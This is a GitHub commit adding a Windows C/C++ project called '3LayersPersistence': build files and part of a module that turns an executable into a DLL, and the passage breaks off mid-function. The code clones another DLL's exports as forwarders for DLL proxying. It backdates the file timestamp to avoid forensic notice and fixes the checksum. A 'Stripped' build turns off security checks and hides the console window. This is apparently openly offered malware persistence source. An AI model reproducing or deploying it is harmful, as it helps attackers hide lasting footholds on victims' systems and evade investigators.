Add files via upload

This commit is contained in:
NULL
2026-03-29 12:14:03 +03:00
committed by GitHub
parent 735a0ce5e1
commit 88cb1afb14
14 changed files with 3388 additions and 0 deletions
+37
View File
@@ -0,0 +1,37 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.14.36908.2 d17.14
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "3LayersPersistence", "3LayersPersistence\3LayersPersistence.vcxproj", "{CA309FC7-1D89-487A-9857-BE8EF65AE177}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
Stripped|x64 = Stripped|x64
Stripped|x86 = Stripped|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x64.ActiveCfg = Debug|x64
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x64.Build.0 = Debug|x64
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x86.ActiveCfg = Debug|Win32
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x86.Build.0 = Debug|Win32
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x64.ActiveCfg = Release|x64
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x64.Build.0 = Release|x64
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x86.ActiveCfg = Release|Win32
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x86.Build.0 = Release|Win32
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x64.ActiveCfg = Stripped|x64
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x64.Build.0 = Stripped|x64
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x86.ActiveCfg = Stripped|Win32
{CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x86.Build.0 = Stripped|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {980CB615-CE81-406B-86CE-1FA24352AC65}
EndGlobalSection
EndGlobal
@@ -0,0 +1,236 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Stripped|Win32">
<Configuration>Stripped</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Stripped|x64">
<Configuration>Stripped</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{ca309fc7-1d89-487a-9857-be8ef65ae177}</ProjectGuid>
<RootNamespace>3LayersPersistence</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|Win32'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|x64'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DBG_USE_DEBUGSTR;_DBG_USE_CONSOLE;_DBG_FORCE</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DBG_USE_DEBUGSTR;_DBG_FORCE;NDEBUG</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>
</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
<LanguageStandard>stdcpp17</LanguageStandard>
<DebugInformationFormat>None</DebugInformationFormat>
<WholeProgramOptimization>false</WholeProgramOptimization>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<Optimization>MinSpace</Optimization>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>
</IgnoreAllDefaultLibraries>
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DBG_USE_DEBUGSTR;_DBG_USE_CONSOLE;_DBG_FORCE</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DBG_USE_DEBUGSTR;_DBG_FORCE;NDEBUG</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Stripped|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>
</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(ProjectDir)Utilities</AdditionalIncludeDirectories>
<LanguageStandard>stdcpp17</LanguageStandard>
<DebugInformationFormat>None</DebugInformationFormat>
<WholeProgramOptimization>false</WholeProgramOptimization>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<Optimization>MinSpace</Optimization>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>
</IgnoreAllDefaultLibraries>
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="ConvertExeToDll.c" />
<ClCompile Include="CrtStubs.cpp" />
<ClCompile Include="Main.c" />
<ClCompile Include="PersistenceLayers.cpp" />
<ClCompile Include="Utilities.cpp" />
<ClCompile Include="Utilities\DebugMacros.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Headers.h" />
<ClInclude Include="Utilities\DebugMacros.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,48 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="CommonUtilities">
<UniqueIdentifier>{e116f4f5-8db7-4a12-bdbf-a531ee0c1635}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Main.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utilities\DebugMacros.c">
<Filter>CommonUtilities</Filter>
</ClCompile>
<ClCompile Include="Utilities.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="PersistenceLayers.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ConvertExeToDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="CrtStubs.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Utilities\DebugMacros.h">
<Filter>CommonUtilities</Filter>
</ClInclude>
<ClInclude Include="Headers.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+659
View File
@@ -0,0 +1,659 @@
#include "Headers.h"
/*
// Example Array
static EXPORT_ENTRY g_ExampleExportTable[] =
{
{ "HelloWorld", (ULONG_PTR)RunMessageBox, 1, NULL }, // named export
{ "HeapAlloc", 0x00, 2, "NTDLL.RtlAllocateHeap" }, // named forward
{ NULL, (ULONG_PTR)RunMessageBox, 3, NULL }, // ordinal-only (#3)
{ "HeapFree", 0x00, 1053, "NTDLL.#1053" }, // forward by ordinal
{ NULL, 0x00, 21, "NTDLL.#1053" }, // ordinal-only, forward by ordinal
{ NULL, 0x00, INVALID_ORDINAL, NULL } // sentinel
};
*/
static DWORD RvaToFileOffset(IN PIMAGE_NT_HEADERS pNtHdrs, IN DWORD dwRva)
{
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHdrs);
for (WORD i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++, pSection++)
{
if (dwRva >= pSection->VirtualAddress && dwRva < pSection->VirtualAddress + pSection->Misc.VirtualSize)
return (dwRva - pSection->VirtualAddress) + pSection->PointerToRawData;
}
return 0x00;
}
static DWORD ComputePECheckSum(IN PVOID pFileBuffer, IN DWORD dwFileSize)
{
PIMAGE_NT_HEADERS pNtHdrs = NULL;
PWORD pwWordView = NULL;
DWORD dwWordCount = 0x00;
DWORD dwChkSumIdx = 0x00;
ULONGLONG ullAccumulator = 0x00;
if (!pFileBuffer || !dwFileSize)
return 0x00;
pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
if (((PIMAGE_DOS_HEADER)pFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
{
DBG("[!] Invalid PE Headers");
return 0x00;
}
pwWordView = (PWORD)pFileBuffer;
dwWordCount = (dwFileSize + 1) / sizeof(WORD);
dwChkSumIdx = (DWORD)((PBYTE)&pNtHdrs->OptionalHeader.CheckSum - (PBYTE)pFileBuffer) / sizeof(WORD);
for (DWORD i = 0; i < dwWordCount; i++)
{
// Skip the CheckSum Field Itself
if (i == dwChkSumIdx || i == dwChkSumIdx + 1)
continue;
ullAccumulator = (ullAccumulator & 0xFFFF) + (ullAccumulator >> 16) + pwWordView[i];
}
ullAccumulator = (ullAccumulator & 0xFFFF) + (ullAccumulator >> 16);
return (DWORD)((WORD)ullAccumulator + dwFileSize);
}
static DWORD GetDllTimestamp(IN PVOID pFileBuffer, IN DWORD dwFileSize)
{
PIMAGE_NT_HEADERS pNtHdrs = NULL;
FILETIME ft = { 0 };
ULARGE_INTEGER uli = { 0 };
DWORD dwTimeStamp = 0x00;
if (!pFileBuffer || !dwFileSize)
return 0x00;
GetSystemTimeAsFileTime(&ft);
uli.LowPart = ft.dwLowDateTime;
uli.HighPart = ft.dwHighDateTime;
uli.QuadPart -= 116444736000000000ULL;
uli.QuadPart /= 10000000ULL;
pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
if (((PIMAGE_DOS_HEADER)pFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
{
DBG("[!] Invalid PE Headers");
return 0x00;
}
#define SECONDS_PER_DAY (60 * 60 * 24)
#define DAYS_TO_SECONDS(x) ((x) * SECONDS_PER_DAY)
dwTimeStamp = pNtHdrs->FileHeader.TimeDateStamp;
// Make it older by 30 days
if (dwTimeStamp > (DWORD)uli.QuadPart || dwTimeStamp < DAYS_TO_SECONDS(30))
dwTimeStamp = (DWORD)uli.QuadPart - DAYS_TO_SECONDS(60);
else
dwTimeStamp = dwTimeStamp - DAYS_TO_SECONDS(30);
#undef SECONDS_PER_DAY
#undef DAYS_TO_SECONDS
return dwTimeStamp;
}
static BOOL BuildExportTableFromDll(IN ULONG_PTR uDllFileBuffer, IN DWORD dwDllFileSize, IN LPCSTR pszCopiedDllName, OUT PEXPORT_ENTRY* ppExportTable, OUT PDWORD pdwExportCount)
{
PIMAGE_NT_HEADERS pNtHdrs = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
PDWORD pdwFuncRVAs = NULL;
PDWORD pdwNameRVAs = NULL;
PWORD pwNameOrdinals = NULL;
ULONG_PTR uBlobBuffer = 0x00;
PEXPORT_ENTRY pEntries = NULL;
PBYTE pStrings = NULL;
CHAR szModulePrefix[MAX_PATH] = { 0 };
CHAR szForwardBuf[MAX_PATH] = { 0 };
DWORD dwActualCount = 0x00,
dwTotalStringSize = 0x00,
dwStringOffset = 0x00,
dwEntryIdx = 0x00;
HRESULT hResult = S_OK;
BOOL bResult = FALSE;
if (!uDllFileBuffer || !dwDllFileSize || !pszCopiedDllName || !ppExportTable || !pdwExportCount)
return FALSE;
pNtHdrs = (PIMAGE_NT_HEADERS)(uDllFileBuffer + ((PIMAGE_DOS_HEADER)uDllFileBuffer)->e_lfanew);
if (((PIMAGE_DOS_HEADER)uDllFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
{
DBG("[!] Invalid PE Headers");
goto _END_OF_FUNC;
}
if (!pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
{
DBG("[!] No Export Directory Found In The Provided DLL Buffer");
goto _END_OF_FUNC;
}
// Resolve the Array of RVAs, Array of Names, Array of Ordinals Using 'RvaToFileOffset'
pExportDir = (PIMAGE_EXPORT_DIRECTORY)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
pdwFuncRVAs = (PDWORD)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfFunctions));
pdwNameRVAs = (PDWORD)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfNames));
pwNameOrdinals = (PWORD) (uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfNameOrdinals));
// Build forward module prefix from the copied DLL name ("dspatial.dll" -> "DSPATIAL")
// This prefix is prepended to every forwarded export string ("DSPATIAL.FuncName" / "DSPATIAL.#7")
if (FAILED((hResult = StringCchCopyA(szModulePrefix, ARRAYSIZE(szModulePrefix), pszCopiedDllName))))
{
DBG_HEX_ERROR("StringCchCopyA", hResult);
goto _END_OF_FUNC;
}
PathRemoveExtensionA(szModulePrefix);
CharUpperA(szModulePrefix);
// First pass (dry run): To count non-empty slots and total string size needed for the blob
for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++)
{
if (!pdwFuncRVAs[i])
continue;
WORD wOrdinal = (WORD)(pExportDir->Base + i);
LPCSTR pszName = NULL;
// Walk the name table to find a name for this ordinal index if any.
// If not, we use the ordinal
for (DWORD j = 0; j < pExportDir->NumberOfNames; j++)
{
if (pwNameOrdinals[j] == i)
{
pszName = (LPCSTR)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pdwNameRVAs[j]));
break;
}
}
if (pszName)
{
// Forward string: "MODULE.Name" (exported by name)
dwTotalStringSize += (DWORD)lstrlenA(pszName) + 1;
dwTotalStringSize += (DWORD)lstrlenA(szModulePrefix) + 1 + (DWORD)lstrlenA(pszName) + 1;
}
else
{
// Forward string: "MODULE.#N" (exported by ordinal)
wsprintfA(szForwardBuf, "%s.#%u", szModulePrefix, wOrdinal);
dwTotalStringSize += (DWORD)lstrlenA(szForwardBuf) + 1;
}
dwActualCount++;
}
if (!dwActualCount)
{
DBG("[!] No Export Directory Found In The Provided DLL Buffer");
goto _END_OF_FUNC;
}
// Allocate a single blob:
// [ EXPORT_ENTRY * (dwActualCount + 1) ] +1 for the sentinel terminator entry
// [ String Pool: dwTotalStringSize bytes ]
HEAP_ALLOC(uBlobBuffer, ((dwActualCount + 1) * sizeof(EXPORT_ENTRY) + dwTotalStringSize));
if (!uBlobBuffer)
goto _END_OF_FUNC;
pEntries = (PEXPORT_ENTRY)uBlobBuffer;
pStrings = (PBYTE)(uBlobBuffer + (dwActualCount + 1) * sizeof(EXPORT_ENTRY));
// Second pass: Write EXPORT_ENTRY structs and pack strings into thje allocated blob
for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++)
{
if (!pdwFuncRVAs[i])
continue;
WORD wOrdinal = (WORD)(pExportDir->Base + i);
LPCSTR pszName = NULL;
DWORD dwLen = 0x00;
for (DWORD j = 0; j < pExportDir->NumberOfNames; j++)
{
if (pwNameOrdinals[j] == i)
{
pszName = (LPCSTR)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pdwNameRVAs[j]));
break;
}
}
pEntries[dwEntryIdx].uFuncAddress = 0x00;
pEntries[dwEntryIdx].wOrdinal = wOrdinal;
// Build "MODULE.Name" forward string
if (pszName)
{
dwLen = (DWORD)lstrlenA(pszName) + 1;
RtlCopyMemory(pStrings + dwStringOffset, pszName, dwLen);
pEntries[dwEntryIdx].pszName = (LPCSTR)(pStrings + dwStringOffset);
dwStringOffset += dwLen;
wsprintfA(szForwardBuf, "%s.%s", szModulePrefix, pszName);
dwLen = (DWORD)lstrlenA(szForwardBuf) + 1;
RtlCopyMemory(pStrings + dwStringOffset, szForwardBuf, dwLen);
pEntries[dwEntryIdx].pszForward = (LPCSTR)(pStrings + dwStringOffset);
dwStringOffset += dwLen;
}
// Build "MODULE.#N" forward string
else
{
pEntries[dwEntryIdx].pszName = NULL;
wsprintfA(szForwardBuf, "%s.#%u", szModulePrefix, wOrdinal);
dwLen = (DWORD)lstrlenA(szForwardBuf) + 1;
RtlCopyMemory(pStrings + dwStringOffset, szForwardBuf, dwLen);
pEntries[dwEntryIdx].pszForward = (LPCSTR)(pStrings + dwStringOffset);
dwStringOffset += dwLen;
}
/*
DBG("[dbg] Export Built | %-30s | Forward: %s | Ordinal: %u",
pEntries[dwEntryIdx].pszName ? pEntries[dwEntryIdx].pszName : "<ordinal-only>",
pEntries[dwEntryIdx].pszForward,
wOrdinal);
*/
dwEntryIdx++;
}
// Sentinel to mark the end of the table
pEntries[dwActualCount].pszName = NULL;
pEntries[dwActualCount].uFuncAddress = 0x00;
pEntries[dwActualCount].wOrdinal = INVALID_ORDINAL;
pEntries[dwActualCount].pszForward = NULL;
*ppExportTable = pEntries;
*pdwExportCount = dwActualCount;
bResult = TRUE;
_END_OF_FUNC:
if (!bResult)
HEAP_FREE(uBlobBuffer);
return bResult;
}
static BOOL PatchExportAddressTable(IN OUT PULONG_PTR puFileBuffer, IN OUT PDWORD pdwFileSize, IN LPCSTR pszDllName, IN PEXPORT_ENTRY pExportTable, IN DWORD dwExportCount, IN DWORD dwTimeDateStamp)
{
PIMAGE_NT_HEADERS pNtHdrs = NULL;
PIMAGE_SECTION_HEADER pNewSection = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
ULONG_PTR uModule = 0x00;
ULONG_PTR uNewBuffer = 0x00;
PBYTE pBlob = NULL;
PDWORD pdwFuncRVAs = NULL;
PDWORD pdwNameRVAs = NULL;
PWORD pwOrdinals = NULL;
DWORD dwNameIdx = 0x00,
dwNumExports = 0x00,
dwNumNames = 0x00,
dwNumFuncSlots = 0x00,
dwSectionVA = 0x00,
dwSectionRaw = 0x00,
dwSectionAlign = 0x00,
dwFileAlign = 0x00,
dwNewFileSize = 0x00,
dwBlobSize = 0x00,
dwOffExpDir = 0x00,
dwOffFuncRVAs = 0x00,
dwOffNameRVAs = 0x00,
dwOffOrdinals = 0x00,
dwOffDllName = 0x00,
dwOffNames = 0x00,
dwOffForwards = 0x00;
BOOL bResult = FALSE;
if (!puFileBuffer || !pdwFileSize || !pszDllName || !pExportTable || !dwExportCount)
return FALSE;
// Needed later to convert absolute function addresses to image-relative RVAs
uModule = (ULONG_PTR)GetModuleHandle(NULL);
// Count exports, named entries, and the highest ordinal to correctly size the sparse FuncRVA table
while (dwNumExports < dwExportCount && pExportTable[dwNumExports].wOrdinal != INVALID_ORDINAL)
{
if (pExportTable[dwNumExports].pszName != NULL)
dwNumNames++;
// FuncRVA table is ordinal-indexed and sparse
// Its slot count equals the highest ordinal value, not the export count
if ((DWORD)pExportTable[dwNumExports].wOrdinal + 1 > dwNumFuncSlots)
dwNumFuncSlots = (DWORD)pExportTable[dwNumExports].wOrdinal;
dwNumExports++;
}
if (dwNumExports == 0)
{
DBG("[!] Export Table Is Empty");
return FALSE;
}
/*
DBG("[dbg] %u Export(s) | %u Named | %u Ordinal-Only | %u FuncRVA Slot(s)", dwNumExports, dwNumNames, dwNumExports - dwNumNames, dwNumFuncSlots);
*/
pNtHdrs = (PIMAGE_NT_HEADERS)(*puFileBuffer + ((PIMAGE_DOS_HEADER)*puFileBuffer)->e_lfanew);
if (((PIMAGE_DOS_HEADER)*puFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
{
DBG("[!] Invalid PE Headers");
return FALSE;
}
// Verify there is room in the headers region for one additional section header entry before we start working
if ((DWORD)((PBYTE)(pNewSection + 1) - (PBYTE)uNewBuffer) > pNtHdrs->OptionalHeader.SizeOfHeaders)
{
DBG("[!] No Room For New Section Header (Required: 0x%08X | Available: 0x%08X)",
(DWORD)((PBYTE)(pNewSection + 1) - (PBYTE)*puFileBuffer), pNtHdrs->OptionalHeader.SizeOfHeaders);
return FALSE;
}
dwSectionAlign = pNtHdrs->OptionalHeader.SectionAlignment;
dwFileAlign = pNtHdrs->OptionalHeader.FileAlignment;
// New section is placed after the last existing section, aligned to both section and file alignment
{
PIMAGE_SECTION_HEADER pLastSection = IMAGE_FIRST_SECTION(pNtHdrs) + (pNtHdrs->FileHeader.NumberOfSections - 1);
dwSectionVA = ALIGN_UP(pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize, dwSectionAlign);
dwSectionRaw = ALIGN_UP(*pdwFileSize, dwFileAlign);
/*
